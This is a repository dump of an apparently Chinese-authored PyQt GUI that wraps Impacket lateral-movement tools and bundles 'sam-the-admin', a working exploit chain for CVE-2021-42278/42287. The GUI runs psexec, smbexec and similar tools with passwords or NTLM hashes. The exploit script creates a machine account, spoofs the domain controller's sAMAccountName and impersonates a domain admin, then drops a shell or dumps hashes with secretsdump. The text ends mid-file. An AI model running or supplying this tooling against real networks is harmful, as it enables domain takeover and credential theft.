345 | codec_combobox = QComboBox()
346 | codec_combobox.addItems(["utf-8", "gbk"])
347 | codec_combobox.setCurrentIndex(0)
348 |
349 | result_text.setReadOnly(True)
350 |
351 | execute_button = QPushButton("执行命令")
352 | execute_button.clicked.connect(lambda: self.execute_command(tab_name, ip_entry.text(), username_entry.text(), password_entry.text(), hashes_entry.text(), command_entry.text(), result_text, codec_combobox.currentText()))
353 |
354 | tab_layout = QVBoxLayout()
355 | tab_layout.addWidget(codec_combobox)
356 | tab_layout.addWidget(ip_label)
357 | tab_layout.addWidget(ip_entry)
358 | tab_layout.addWidget(username_label)
359 | tab_layout.addWidget(username_entry)
360 | tab_layout.addWidget(password_label)
361 | tab_layout.addWidget(password_entry)
362 | tab_layout.addWidget(hashes_label)
363 | tab_layout.addWidget(hashes_entry)
364 | tab_layout.addWidget(command_label)
365 | tab_layout.addWidget(command_entry)
366 | tab_layout.addWidget(execute_button)
367 | tab_layout.addWidget(result_text)
368 |
369 | tab.setLayout(tab_layout)
370 |
371 |
372 | def open_about_url(self):
373 | about_url = "https://github.com/yutianqaq/impacket-gui"
374 | QDesktopServices.openUrl(QUrl(about_url))
375 |
376 | def execute_command(self, tab_name, ip, username, password, hashes, command, result_text, codec):
377 |
378 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}:{password}@{ip} {command} -codec {codec}"
379 | if hashes:
380 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}@{ip} {command} -hashes 00000000000000000000000000000000:{hashes} -codec {codec}"
381 |
382 | executor = CommandExecutor(cmd)
383 | executor.command_output.connect(result_text.append)
384 | executor.finished.connect(executor.deleteLater)
385 |
386 | executor_thread = QThread()
387 | executor.moveToThread(executor_thread)
388 | executor_thread.started.connect(executor.run)
389 | executor_thread.finished.connect(executor_thread.deleteLater)
390 |
391 | self.executor_threads.append(executor_thread)
392 | executor_thread.start()
393 |
394 | while executor_thread.isRunning():
395 | QCoreApplication.processEvents()
396 |
397 | def closeEvent(self, event):
398 | for executor_thread in self.executor_threads:
399 | executor_thread.quit()
400 | executor_thread.wait()
401 |
402 | event.accept()
403 | if __name__ == '__main__':
404 | app = QApplication(sys.argv)
405 | tab_widget = QTabWidget()
406 |
407 | impacket_executor = ImpacketExecutor()
408 | impacket_terminal_tab = ImpacketTerminal()
409 | sam_the_admin_tab = SamTheAdmin()
410 |
411 | tab_widget.addTab(impacket_executor, "横向移动")
412 | tab_widget.addTab(impacket_terminal_tab, "横向移动交互式")
413 | tab_widget.addTab(sam_the_admin_tab, "sam-the-admin-域控测试")
414 |
415 | window = QWidget()
416 | window.setWindowTitle("Impacket GUI")
417 | window.resize(1200, 800)
418 | window.setWindowIcon(QIcon("./logo.jpg"))
419 |
420 | layout = QVBoxLayout()
421 | layout.addWidget(tab_widget)
422 | window.setLayout(layout)
423 |
424 | window.show()
425 | sys.exit(app.exec_())
426 |
--------------------------------------------------------------------------------
/impacket-gui_PyQt6.py:
--------------------------------------------------------------------------------
1 |
2 | import sys
3 | from PyQt6.QtWidgets import QApplication, QLabel, QComboBox, QLineEdit, QPushButton, QDialog, QMessageBox, QTextEdit, QVBoxLayout, QWidget, QVBoxLayout, QTabWidget, QTextEdit, QPushButton, QHBoxLayout, QPlainTextEdit
4 | from PyQt6.QtCore import QCoreApplication, Qt, QThread, pyqtSignal, QProcess, QTimer, QUrl
5 | from PyQt6.QtGui import QIcon, QFont, QDesktopServices, QTextCursor,QTextOption
6 |
7 | class InteractiveSession(QWidget):
8 | def __init__(self, ip, username, password, mode, codec):
9 | super().__init__()
10 | self.ip = ip
11 | self.username = username
12 | self.password = password
13 | self.mode = mode
14 | self.codec = codec
15 | self.session = None
16 | self.output_text = None
17 | self.init_ui()
18 | self.connect_and_execute()
19 |
20 | def init_ui(self):
21 | self.output_text = QPlainTextEdit()
22 | self.output_text.setReadOnly(True)
23 | self.output_text.setLineWrapMode(QPlainTextEdit.LineWrapMode.NoWrap)
24 | output_style = "background-color: #0C0C0C; color: #CCCCCC;"
25 | self.output_text.setStyleSheet(output_style)
26 |
27 | self.input_text = QLineEdit()
28 | self.input_text.setMaximumHeight(30)
29 | self.input_text.setPlaceholderText("在此处输入命令")
30 |
31 | layout = QVBoxLayout()
32 | layout.addWidget(self.output_text)
33 | layout.addWidget(self.input_text)
34 |
35 | self.setLayout(layout)
36 |
37 | def keyPressEvent(self, event):
38 | if event.key() == Qt.Key_Return or event.key() == Qt.Key_Enter:
39 | self.execute_command()
40 |
41 |
42 | def connect_and_execute(self):
43 | cmd = f"/usr/local/bin/{self.mode.lower()}.py {self.username}:{self.password}@{self.ip} -codec {self.codec}"
44 |
45 | if self.mode == "SamTheAdmin-shell":
46 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/smbexec.py -target-ip {self.ip} -k -no-pass `cat ./dcfull` -codec {self.codec}\""
47 | elif self.mode == "SamTheAdmin-dump":
48 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/secretsdump.py -target-ip {self.ip} -k -no-pass `cat ./dcfull`\""
49 |
50 | self.session = QProcess()
51 | self.session.setProcessChannelMode(QProcess.ProcessChannelMode.MergedChannels)
52 | self.session.readyReadStandardOutput.connect(self.update_terminal)
53 | self.session.start(cmd)
54 | self.session.waitForStarted()
55 |
56 | def execute_command(self):
57 | command = self.input_text.text()
58 | if command:
59 | self.input_text.clear()
60 | self.session.write(f"{command}\n".encode())
61 | self.session.waitForBytesWritten()
62 |
63 | def update_terminal(self):
64 | output_data = self.session.readAllStandardOutput().data()
65 | print(output_data)
66 | output_data = self.decode_output(output_data)
67 | self.output_text.appendPlainText(output_data)
68 |
69 |
70 | def decode_output(self, output_data):
71 | encodings = ['utf-8', 'gb2312']
72 |
73 | for encoding in encodings:
74 | try:
75 | output = output_data.decode(encoding).strip()
76 | return output
77 | except UnicodeDecodeError:
78 | pass
79 |
80 | return ''
81 |
82 | class ImpacketTerminal(QWidget):
83 | def __init__(self):
84 | super().__init__()
85 | self.init_ui()
86 |
87 | def init_ui(self):
88 | self.tab_widget = QTabWidget()
89 | add_session_button = QTextEdit("执行")
90 | add_session_button.setReadOnly(True)
91 | add_session_button.setAlignment(Qt.AlignmentFlag.AlignCenter)
92 | add_session_button.setFixedHeight(50)
93 | add_session_button.setStyleSheet("font-size: 18px;")
94 | add_session_button.viewport().setAutoFillBackground(False)
95 |
96 | # 添加连接模式下拉框
97 | self.mode_combobox = QComboBox()
98 | self.mode_combobox.addItems(["PSEXEC", "SMBEXEC", "WMIEXEC"])
99 | self.mode_combobox.setCurrentIndex(0)
100 |
101 |
102 | self.codec_combobox = QComboBox()
103 | self.codec_combobox.addItems(["utf-8", "gbk"])
104 | self.codec_combobox.setCurrentIndex(0)
105 |
106 | # 添加IP、用户名、密码输入框
107 | self.ip_input = QLineEdit()
108 | self.ip_input.setPlaceholderText("请输入 IP 地址")
109 |
110 | self.username_input = QLineEdit()
111 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username")
112 |
113 | self.password_input = QLineEdit()
114 | self.password_input.setPlaceholderText("请输入密码")
115 | self.password_input.setEchoMode(QLineEdit.EchoMode.Password)
116 |
117 |
118 |
119 | # 添加关闭当前会话按钮
120 | close_session_button = QPushButton("关闭当前会话")
121 | close_session_button.clicked.connect(self.close_current_session)
122 |
123 | layout = QVBoxLayout()
124 | layout.addWidget(self.mode_combobox)
125 | layout.addWidget(self.codec_combobox)
126 | layout.addWidget(self.ip_input)
127 | layout.addWidget(self.username_input)
128 | layout.addWidget(self.password_input)
129 | layout.addWidget(add_session_button)
130 | layout.addWidget(self.tab_widget)
131 | layout.addWidget(close_session_button) # 添加关闭按钮
132 |
133 | self.setLayout(layout)
134 |
135 | add_session_button.mousePressEvent = self.add_session_tab
136 |
137 | # 用于保存输入框的文本
138 | self.saved_ip_text = ""
139 | self.saved_username_text = ""
140 | self.saved_password_text = ""
141 |
142 | def add_session_tab(self, event):
143 | ip = self.ip_input.text()
144 | username = self.username_input.text()
145 | password = self.password_input.text()
146 |
147 | # 获取用户选择的连接模式
148 | selected_mode = self.mode_combobox.currentText()
149 | selected_codec = self.codec_combobox.currentText()
150 |
151 | if ip and username and password:
152 | self.saved_ip_text = ip
153 | self.saved_username_text = username
154 | self.saved_password_text = password
155 |
156 | session = InteractiveSession(ip, username, password, selected_mode, selected_codec)
157 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}")
158 | # self.ip_input.clear()
159 | # self.username_input.clear()
160 | # self.password_input.clear()
161 |
162 | else:
163 | # 在没有输入完整信息时显示错误消息
164 | QMessageBox.warning(self, "错误", "请输入完整")
165 |
166 | def close_current_session(self):
167 | current_index = self.tab_widget.currentIndex()
168 | if current_index >= 0:
169 | session_widget = self.tab_widget.widget(current_index)
170 | if isinstance(session_widget, InteractiveSession):
171 | session_widget.session.terminate()
172 | self.tab_widget.removeTab(current_index)
173 |
174 | class SamTheAdmin(QWidget):
175 | def __init__(self):
176 | super().__init__()
177 | self.init_ui()
178 |
179 | def init_ui(self):
180 | self.tab_widget = QTabWidget()
181 | add_session_button = QTextEdit("执行")
182 | add_session_button.setReadOnly(True)
183 | add_session_button.setAlignment(Qt.AlignmentFlag.AlignCenter)
184 | add_session_button.setFixedHeight(50)
185 | add_session_button.setStyleSheet("font-size: 18px;")
186 | add_session_button.viewport().setAutoFillBackground(False)
187 |
188 | # 添加连接模式下拉框
189 | self.mode_combobox = QComboBox()
190 | self.mode_combobox.addItems(["SamTheAdmin-shell", "SamTheAdmin-dump"])
191 | self.mode_combobox.setCurrentIndex(0) # 设置默认连接模式
192 |
193 | self.codec_combobox = QComboBox()
194 | self.codec_combobox.addItems(["utf-8", "gbk"])
195 | self.codec_combobox.setCurrentIndex(0)
196 |
197 | # 添加IP、用户名、密码输入框
198 | self.ip_input = QLineEdit()
199 | self.ip_input.setPlaceholderText("请输入 IP 地址")
200 |
201 | self.username_input = QLineEdit()
202 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username")
203 |
204 | self.password_input = QLineEdit()
205 | self.password_input.setPlaceholderText("请输入密码")
206 | self.password_input.setEchoMode(QLineEdit.EchoMode.Password)
207 |
208 |
209 |
210 | # 添加关闭当前会话按钮
211 | close_session_button = QPushButton("关闭当前会话")
212 | close_session_button.clicked.connect(self.close_current_session)
213 |
214 | layout = QVBoxLayout()
215 | layout.addWidget(self.mode_combobox)
216 | layout.addWidget(self.codec_combobox)
217 | layout.addWidget(self.ip_input)
218 | layout.addWidget(self.username_input)
219 | layout.addWidget(self.password_input)
220 | layout.addWidget(add_session_button)
221 | layout.addWidget(self.tab_widget)
222 | layout.addWidget(close_session_button) # 添加关闭按钮
223 |
224 | self.setLayout(layout)
225 |
226 | add_session_button.mousePressEvent = self.add_session_tab
227 |
228 | # 用于保存输入框的文本
229 | self.saved_ip_text = ""
230 | self.saved_username_text = ""
231 | self.saved_password_text = ""
232 |
233 | def add_session_tab(self, event):
234 | ip = self.ip_input.text()
235 | username = self.username_input.text()
236 | password = self.password_input.text()
237 |
238 | # 获取用户选择的连接模式
239 | selected_mode = self.mode_combobox.currentText()
240 | codec_mode = self.codec_combobox.currentText()
241 |
242 | if ip and username and password:
243 | self.saved_ip_text = ip
244 | self.saved_username_text = username
245 | self.saved_password_text = password
246 |
247 | session = InteractiveSession(ip, username, password, selected_mode, codec_mode)
248 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}")
249 | # self.ip_input.clear()
250 | # self.username_input.clear()
251 | # self.password_input.clear()
252 |
253 | else:
254 | # 在没有输入完整信息时显示错误消息
255 | QMessageBox.warning(self, "错误", "请输入完整")
256 |
257 | def close_current_session(self):
258 | current_index = self.tab_widget.currentIndex()
259 | if current_index >= 0:
260 | session_widget = self.tab_widget.widget(current_index)
261 | if isinstance(session_widget, InteractiveSession):
262 | session_widget.session.terminate()
263 | self.tab_widget.removeTab(current_index)
264 |
265 | class CommandExecutor(QThread):
266 | command_output = pyqtSignal(str)
267 |
268 | def __init__(self, command):
269 | super().__init__()
270 | self.command = command
271 |
272 | def run(self):
273 | process = QProcess()
274 | self.command_output.emit(f"impacket-GUI > {self.command}")
275 | process.readyReadStandardOutput.connect(self.handle_output)
276 | process.finished.connect(self.finished)
277 |
278 | process.start(self.command)
279 | process.waitForFinished(-1)
280 |
281 | output_data = process.readAllStandardOutput().data()
282 | output = self.decode_output(output_data)
283 | self.command_output.emit(output)
284 |
285 | def handle_output(self):
286 | output_data = self.sender().readAllStandardOutput().data()
287 | output = self.decode_output(output_data)
288 | self.command_output.emit(output)
289 |
290 | def decode_output(self, output_data):
291 | encodings = ['utf-8', 'gb2312']
292 |
293 | for encoding in encodings:
294 | try:
295 | output = output_data.decode(encoding).strip()
296 | return output
297 | except UnicodeDecodeError:
298 | pass
299 |
300 | return ''
301 |
302 | class ImpacketExecutor(QWidget):
303 | def __init__(self):
304 | super().__init__()
305 | self.setWindowTitle("Impacket-GUI")
306 | self.setFont(QFont('Microsoft YaHei', 12))
307 | self.init_ui()
308 |
309 | def init_ui(self):
310 | self.tab_widget = QTabWidget()
311 |
312 | tabs = ["PSEXEC", "SMBEXEC", "DCOMEXEC", "WMIEXEC", "ATEXEC"]
313 | self.executor_threads = []
314 |
315 | for tab_name in tabs:
316 | tab = QWidget()
317 | self.init_tab(tab, tab_name)
318 | self.tab_widget.addTab(tab, tab_name)
319 |
320 | layout = QVBoxLayout()
321 | layout.addWidget(self.tab_widget)
322 |
323 |
324 |
325 | about_button = QPushButton("关于")
326 | about_button.clicked.connect(self.open_about_url)
327 | layout.addWidget(about_button)
328 |
329 | self.setLayout(layout)
330 |
331 | def init_tab(self, tab, tab_name):
332 | ip_label = QLabel("IP 地址:")
333 | ip_entry = QLineEdit()
334 | username_label = QLabel("用户名:")
335 | username_entry = QLineEdit()
336 | password_label = QLabel("密码:")
337 | password_entry = QLineEdit()
338 | password_entry.setEchoMode(QLineEdit.EchoMode.Password)
339 | hashes_label = QLabel("哈希:")
340 | hashes_entry = QLineEdit()
341 | command_label = QLabel(f"执行方式为 {tab_name}:")
342 | command_entry = QLineEdit()
343 | result_text = QTextEdit()
344 |
345 | codec_combobox = QComboBox()
346 | codec_combobox.addItems(["utf-8", "gbk"])
347 | codec_combobox.setCurrentIndex(0)
348 |
349 | result_text.setReadOnly(True)
350 |
351 | execute_button = QPushButton("执行命令")
352 | execute_button.clicked.connect(lambda: self.execute_command(tab_name, ip_entry.text(), username_entry.text(), password_entry.text(), hashes_entry.text(), command_entry.text(), result_text, codec_combobox.currentText()))
353 |
354 | tab_layout = QVBoxLayout()
355 | tab_layout.addWidget(codec_combobox)
356 | tab_layout.addWidget(ip_label)
357 | tab_layout.addWidget(ip_entry)
358 | tab_layout.addWidget(username_label)
359 | tab_layout.addWidget(username_entry)
360 | tab_layout.addWidget(password_label)
361 | tab_layout.addWidget(password_entry)
362 | tab_layout.addWidget(hashes_label)
363 | tab_layout.addWidget(hashes_entry)
364 | tab_layout.addWidget(command_label)
365 | tab_layout.addWidget(command_entry)
366 | tab_layout.addWidget(execute_button)
367 | tab_layout.addWidget(result_text)
368 |
369 | tab.setLayout(tab_layout)
370 |
371 |
372 | def open_about_url(self):
373 | about_url = "https://github.com/yutianqaq/impacket-gui"
374 | QDesktopServices.openUrl(QUrl(about_url))
375 |
376 | def execute_command(self, tab_name, ip, username, password, hashes, command, result_text, codec):
377 |
378 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}:{password}@{ip} {command} -codec {codec}"
379 | if hashes:
380 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}@{ip} {command} -hashes 00000000000000000000000000000000:{hashes} -codec {codec}"
381 |
382 | executor = CommandExecutor(cmd)
383 | executor.command_output.connect(result_text.append)
384 | executor.finished.connect(executor.deleteLater)
385 |
386 | executor_thread = QThread()
387 | executor.moveToThread(executor_thread)
388 | executor_thread.started.connect(executor.run)
389 | executor_thread.finished.connect(executor_thread.deleteLater)
390 |
391 | self.executor_threads.append(executor_thread)
392 | executor_thread.start()
393 |
394 | while executor_thread.isRunning():
395 | QCoreApplication.processEvents()
396 |
397 | def closeEvent(self, event):
398 | for executor_thread in self.executor_threads:
399 | executor_thread.quit()
400 | executor_thread.wait()
401 |
402 | event.accept()
403 | if __name__ == '__main__':
404 | app = QApplication(sys.argv)
405 | tab_widget = QTabWidget()
406 |
407 | impacket_executor = ImpacketExecutor()
408 | impacket_terminal_tab = ImpacketTerminal()
409 | sam_the_admin_tab = SamTheAdmin()
410 |
411 | tab_widget.addTab(impacket_executor, "横向移动")
412 | tab_widget.addTab(impacket_terminal_tab, "横向移动交互式")
413 | tab_widget.addTab(sam_the_admin_tab, "sam-the-admin-域控测试")
414 |
415 | window = QWidget()
416 | window.setWindowTitle("Impacket GUI")
417 | window.resize(1200, 800)
418 | window.setWindowIcon(QIcon("./logo.jpg"))
419 |
420 | layout = QVBoxLayout()
421 | layout.addWidget(tab_widget)
422 | window.setLayout(layout)
423 |
424 | window.show()
425 | sys.exit(app.exec())
426 |
--------------------------------------------------------------------------------
/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/logo.jpg
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | impacket==0.11.0
2 | ldap3==2.9.1
3 | ldapdomaindump==0.9.4
4 | pyasn1==0.5.0
5 | PyQt5==5.15.9
6 | PyQt5_sip==12.12.2
7 | six==1.16.0
8 |
--------------------------------------------------------------------------------
/requirements_PyQt6.txt:
--------------------------------------------------------------------------------
1 | impacket==0.11.0
2 | ldap3==2.9.1
3 | ldapdomaindump==0.9.4
4 | pyasn1==0.5.0
5 | six==1.16.0
6 | pyqt6
--------------------------------------------------------------------------------
/sam-the-admin/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # PyCharm
7 | .idea/
8 |
9 | # C extensions
10 | *.so
11 |
12 | # Distribution / packaging
13 | .Python
14 | build/
15 | develop-eggs/
16 | dist/
17 | downloads/
18 | eggs/
19 | .eggs/
20 | lib/
21 | lib64/
22 | parts/
23 | sdist/
24 | var/
25 | wheels/
26 | pip-wheel-metadata/
27 | share/python-wheels/
28 | *.egg-info/
29 | .installed.cfg
30 | *.egg
31 | MANIFEST
32 |
33 | # PyInstaller
34 | # Usually these files are written by a python script from a template
35 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
36 | *.manifest
37 | *.spec
38 |
39 | # Installer logs
40 | pip-log.txt
41 | pip-delete-this-directory.txt
42 |
43 | # Unit test / coverage reports
44 | htmlcov/
45 | .tox/
46 | .nox/
47 | .coverage
48 | .coverage.*
49 | .cache
50 | nosetests.xml
51 | coverage.xml
52 | *.cover
53 | *.py,cover
54 | .hypothesis/
55 | .pytest_cache/
56 |
57 | # Translations
58 | *.mo
59 | *.pot
60 |
61 | # Django stuff:
62 | *.log
63 | local_settings.py
64 | db.sqlite3
65 | db.sqlite3-journal
66 |
67 | # Flask stuff:
68 | instance/
69 | .webassets-cache
70 |
71 | # Scrapy stuff:
72 | .scrapy
73 |
74 | # Sphinx documentation
75 | docs/_build/
76 |
77 | # PyBuilder
78 | target/
79 |
80 | # Jupyter Notebook
81 | .ipynb_checkpoints
82 |
83 | # IPython
84 | profile_default/
85 | ipython_config.py
86 |
87 | # pyenv
88 | .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
98 | __pypackages__/
99 |
100 | # Celery stuff
101 | celerybeat-schedule
102 | celerybeat.pid
103 |
104 | # SageMath parsed files
105 | *.sage.py
106 |
107 | # Environments
108 | .env
109 | .venv
110 | env/
111 | venv/
112 | ENV/
113 | env.bak/
114 | venv.bak/
115 |
116 | # Spyder project settings
117 | .spyderproject
118 | .spyproject
119 |
120 | # Rope project settings
121 | .ropeproject
122 |
123 | # mkdocs documentation
124 | /site
125 |
126 | # mypy
127 | .mypy_cache/
128 | .dmypy.json
129 | dmypy.json
130 |
131 | # Pyre type checker
132 | .pyre/
133 |
--------------------------------------------------------------------------------
/sam-the-admin/README.md:
--------------------------------------------------------------------------------
1 | Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
2 |
3 | [](https://asciinema.org/a/SnQ66XtmZLzXZQ8QwWwAYs8Dm)
4 |
5 | ### Known issues
6 | - it will not work outside kali , i will update it later on :)
7 |
8 | #### Check out
9 | - [CVE-2021-42287/CVE-2021-42278 Weaponisation ](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)
10 | - [sAMAccountName spoofing](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)
11 |
--------------------------------------------------------------------------------
/sam-the-admin/requirements.txt:
--------------------------------------------------------------------------------
1 | impacket==0.9.24
--------------------------------------------------------------------------------
/sam-the-admin/sam_the_admin.py:
--------------------------------------------------------------------------------
1 | from __future__ import division
2 | from __future__ import print_function
3 | from __future__ import unicode_literals
4 |
5 | from impacket import version
6 | from impacket.examples import logger
7 | from impacket.examples.utils import parse_credentials
8 |
9 |
10 | import argparse
11 | import logging
12 | import sys
13 | import string
14 | import random
15 | import ssl
16 | import os
17 | from binascii import unhexlify
18 | import ldapdomaindump
19 | import ldap3
20 | import time
21 |
22 | from utils.helper import *
23 | from utils.addcomputer import AddComputerSAMR
24 | from utils.S4U2self import GETST
25 |
26 | characters = list(string.ascii_letters + string.digits + "!@#$%^&*()")
27 |
28 |
29 | def samtheadmin(options):
30 | new_computer_name = f"SAMTHEADMIN-{random.randint(1,100)}$"
31 | new_computer_password = ''.join(random.choice(characters) for _ in range(12))
32 |
33 | domain, username, password, lmhash, nthash = parse_identity(options)
34 | ldap_server, ldap_session = init_ldap_session(options, domain, username, password, lmhash, nthash)
35 |
36 | cnf = ldapdomaindump.domainDumpConfig()
37 | cnf.basepath = None
38 | domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf)
39 | MachineAccountQuota = 10
40 | for i in domain_dumper.getDomainPolicy():
41 | MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota']))
42 | rootsid = domain_dumper.getRootSid()
43 |
44 | dcinfos = get_dc_hosts(ldap_session, domain_dumper)
45 | if len(dcinfos) == 0:
46 | logging.critical("Cannot get domain info")
47 | exit(1)
48 |
49 | dcinfo = dcinfos[0]
50 | found = False
51 | if options.dc_host:
52 | for d in dcinfos:
53 | if any(name.lower() == options.dc_host.lower() for name in d['dNSHostName']):
54 | dcinfo = d
55 | found = True
56 | break
57 | if not found:
58 | print("[-] WARNING: Target host is not a DC")
59 | dc_host = dcinfo['name'][0].lower()
60 | dcfull = dcinfo['dNSHostName'][0].lower()
61 | logging.info(f'Selected Target {dcfull}')
62 | domainAdmins = get_domain_admins(ldap_session, domain_dumper)
63 | random_domain_admin = random.choice(domainAdmins)
64 | logging.info(f'Total Domain Admins {len(domainAdmins)}')
65 | logging.info(f'will try to impersonate {random_domain_admin}')
66 |
67 | # udata = get_user_info(username, ldap_session, domain_dumper)
68 | if MachineAccountQuota < 0:
69 | logging.critical(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQuota}')
70 | exit()
71 | else:
72 | logging.info(f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}')
73 |
74 | logging.info(f'Adding Computer Account "{new_computer_name}"')
75 | logging.info(f'MachineAccount "{new_computer_name}" password = {new_computer_password}')
76 |
77 | # Creating Machine Account
78 | addmachineaccount = AddComputerSAMR(
79 | username,
80 | password,
81 | domain,
82 | options,
83 | computer_name=new_computer_name,
84 | computer_pass=new_computer_password)
85 | addmachineaccount.run()
86 |
87 | # CVE-2021-42278
88 | new_machine_dn = None
89 | dn = get_user_info(new_computer_name, ldap_session, domain_dumper)
90 | if dn:
91 | new_machine_dn = str(dn['dn'])
92 | logging.info(f'{new_computer_name} object = {new_machine_dn}')
93 |
94 | if new_machine_dn:
95 | ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]})
96 | if ldap_session.result['result'] == 0:
97 | logging.info(f'{new_computer_name} sAMAccountName == {dc_host}')
98 | else:
99 | logging.error('Cannot rename the machine account , target patched')
100 | exit()
101 |
102 | # Getting a ticket
103 | getting_tgt = GETTGT(dc_host, new_computer_password, domain, options)
104 | getting_tgt.run()
105 | dcticket = str(dc_host + '.ccache')
106 |
107 | # Restoring Old Values
108 | logging.info(f"Resting the machine account to {new_computer_name}")
109 | dn = get_user_info(dc_host, ldap_session, domain_dumper)
110 | ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]})
111 | if ldap_session.result['result'] == 0:
112 | logging.info(f'Restored {new_computer_name} sAMAccountName to original value')
113 | else:
114 | logging.error('Cannot restore the old name lol')
115 |
116 | os.environ["KRB5CCNAME"] = dcticket
117 | executer = GETST(
118 | None,
119 | None,
120 | domain,
121 | options,
122 | impersonate_target=random_domain_admin,
123 | target_spn=f"cifs/{dcfull}"
124 | )
125 | executer.run()
126 |
127 | adminticket = str(random_domain_admin + '.ccache')
128 | os.environ["KRB5CCNAME"] = adminticket
129 |
130 | # will do something else later on
131 | fbinary = "../examples/smbexec.py"
132 | if options.dump:
133 | fbinary = "/usr/bin/impacket-secretsdump"
134 |
135 | cmd = f"{fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}'"
136 | os.system(f"echo {dcfull} > ./dcfull")
137 | get_shell = f"SET KRB5CCNAME='{adminticket}' {cmd}"
138 | if options.shell:
139 | os.system(get_shell)
140 |
141 | print("[*] You can deploy a shell when you want using the following command:")
142 | print(f"[$] {get_shell}")
143 |
144 | if options.purge:
145 | os.system("rm *.ccache")
146 |
147 |
148 | if __name__ == '__main__':
149 | # Init the example's logger theme
150 | logger.init()
151 | print((version.BANNER))
152 |
153 | parser = argparse.ArgumentParser(add_help=True, description="SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain")
154 |
155 | parser.add_argument('account', action='store', metavar='[domain/]username[:password]',
156 | help='Account used to authenticate to DC.')
157 | parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME',
158 | help='Domain NetBIOS name. Required if the DC has multiple domains.')
159 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
160 | parser.add_argument('-shell', action='store_true', help='Drop a shell via smbexec')
161 | parser.add_argument('-purge', action='store_true', help='Purge all collected .ccache files')
162 | parser.add_argument('-dump', action='store_true', help='Dump Hashs via secretsdump')
163 |
164 | parser.add_argument('-port', type=int, choices=[139, 445, 636],
165 | help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.')
166 |
167 | group = parser.add_argument_group('authentication')
168 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
169 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
170 | group.add_argument('-k', action="store_true",
171 | help='Use Kerberos authentication. Grabs credentials from ccache file '
172 | '(KRB5CCNAME) based on account parameters. If valid credentials '
173 | 'cannot be found, it will use the ones specified in the command '
174 | 'line')
175 | group.add_argument('-aesKey', action="store", metavar="hex key",
176 | help='AES key to use for Kerberos Authentication (128 or 256 bits)')
177 | group.add_argument('-dc-host', action='store', metavar="hostname",
178 | help='Hostname of the domain controller to use. If ommited, the domain part (FQDN) '
179 | 'specified in the account parameter will be used')
180 | group.add_argument('-dc-ip', action='store', metavar="ip",
181 | help='IP of the domain controller to use. Useful if you can\'t translate the FQDN.'
182 | 'specified in the account parameter will be used')
183 | parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
184 |
185 | if len(sys.argv)==1:
186 | parser.print_help()
187 | sys.exit(1)
188 |
189 | options = parser.parse_args()
190 |
191 | if options.debug is True:
192 | logging.getLogger().setLevel(logging.DEBUG)
193 | # Print the Library's installation path
194 | logging.debug(version.getInstallationPath())
195 | else:
196 | logging.getLogger().setLevel(logging.INFO)
197 |
198 | domain, username, password = parse_credentials(options.account)
199 | account_format_invalid = False
200 | try:
201 | while domain is None or domain == '':
202 | account_format_invalid = True
203 | logging.critical('Domain should be specified!')
204 | domain = input("[*] Please specify a domain: ")
205 |
206 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
207 | account_format_invalid = True
208 | from getpass import getpass
209 | password = getpass(f"[*] Password for account {username}: ")
210 |
211 | if options.aesKey is not None:
212 | options.k = True
213 |
214 | if account_format_invalid and password and password != "":
215 | options.account = f"{domain}/{username}:{password}"
216 |
217 | if account_format_invalid and not password and password == "":
218 | options.account = f"{domain}/{username}"
219 |
220 | samtheadmin(options)
221 | except Exception as e:
222 | if logging.getLogger().level == logging.DEBUG:
223 | import traceback
224 | traceback.print_exc()
225 | print(str(e))
226 |
227 |
--------------------------------------------------------------------------------
/sam-the-admin/utils/S4U2self.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
